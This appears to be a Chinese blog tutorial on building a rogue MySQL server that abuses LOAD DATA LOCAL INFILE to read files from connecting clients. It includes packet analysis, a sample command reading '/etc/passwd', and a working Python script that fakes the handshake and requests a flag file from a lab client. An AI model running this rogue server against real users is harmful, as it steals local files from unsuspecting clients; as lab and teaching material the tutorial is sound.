原理

MySQL中的load data infile命令可以读取文件并将其内容导入到表中,通过这个命令可以读取到服务器端或者客户端的文件,然后把内容存入表中。前提是当前用户有读取文件的权限。

1
load data local infile '/etc/passwd' into table test fields terminated by '\n';

local从客户端读取文件,不指定则从服务器端读取文件
/etc/passwd指定文件
test指定写入的表

20230702215101
正常情况下,Client想要将本地中的test文件数据插入表中,向Server发起load data local infile 'test.txt' into table table_name命令,Server收到请求命令后向Client索要此文件内容,Client收到之后便开始向Server发送文件。

可以看到Server和Client是对话的方式进行通信,而比较有意思的是Client并不会记录上一次请求的信息,而是第一次请求之后按照Server响应的内容进行下一步的动作,所以可以在Server端构造响应内容来对Client进行欺骗。
20230709101016
load data local infile来读取本地文件的过程中,首先Client向Server发出文件插入表的请求,然后Server会向Client请求test文件的内容,如果将Server响应的信息进行修改,就可以让Server获取到自己想要的文件。

接下来通过简单分析MySQL协议的数据包来了解伪造恶意MySQL服务器的大致原理。

  • 服务端:192.168.73.141
  • 客户端:192.168.73.1

三次握手,建立连接
服务端–>客户端发送初始化包
客户端–>服务端发送认证包
服务端–>客户端发送结果包
20230711144805

当客户端和服务端完成三次握手之后,服务端会向客户端发送packet,其中包括了协议版本、数据库版本等等。
20230711145002
客户端收到服务端初始化数据包之后回复认证包,可以看到里面含有UsernamePassword等信息。
20230711145949
服务端接受到认证之后,会向客户端回复其认证结果。
20230711150238
以上就是MySQL建立连接的过程,认证成功之后,就可以和服务端进行交互。
向服务端发送命令,服务端返回结果:
20230711151227
这里重点分析load data infile命令执行的过程,首先客户端发起load data infile命令。
20230711151741
然后服务端响应,将这个文件名字给客户端。
20230711152006
客户端将文件内容发送给服务端。
20230711152524
服务端返回成功。
20230711152713
以下是完整交互过程,绿色的为查询表中是否存在flag.txt中的文件信息,可以看到在交互过程中服务端向客户端响应之后,客户端将响应的文件内容发送给服务端。
20230711153340

实现

服务端和客户端建立连接的过程是固定的,首先监听3306端口,等待连接建立,如果有人连接,则返回初始化包,这时如果对方发送认证包,这里直接向对方返回成功请求。所以初始化包和结果包的返回信息直接复制到代码中去。
初始化包:
20230711154332

1
get_version =b"\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x32\x36\x00\x06\x00\x00\x00\x2f\x37\x13\x0c\x6f\x39\x3b\x72\x00\xff\xf7\xc0\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x2b\x73\x18\x33\x58\x1a\x19\x5f\x6c\x38\x31\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

结果包:
20230711154510

1
resp = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

重点在于服务端向客户端响应文件的数据包,即构造向客户端要求返回指定文件内容的数据包。
20230711162407
Packet Length0b 00 00
01 fb固定不变
内容:44 3a 66 6c 61 67 2e 74 78 74

这里的Packet Length值实际上就是文件长度+1,因为MySQL协议中的字符串表示以NULL字节(\0)作为结尾,所以需要+1

python实现脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket


ser_socket = socket.socket()
port = 3306

ser_socket.bind(("",port))
ser_socket.listen(5)
conn, address = ser_socket.accept()

get_version =b"\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x32\x36\x00\x06\x00\x00\x00\x2f\x37\x13\x0c\x6f\x39\x3b\x72\x00\xff\xf7\xc0\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x2b\x73\x18\x33\x58\x1a\x19\x5f\x6c\x38\x31\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

conn.sendall(get_version)
conn.recv(10240)
resp = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
conn.sendall(resp)
conn.recv(10240)

fileName = "C:/Users/Test/Desktop/flag.txt"
packet_length = (len(fileName)+1).to_bytes(3,'little')
payload = packet_length + b"\x01\xfb" + fileName.encode()
conn.sendall(payload)
content = conn.recv(10240)
if len(content)> 4 :
content_str = content.decode()
print(content_str)

conn.close()

参考链接

https://www.hetianlab.com/specialized/20230406153147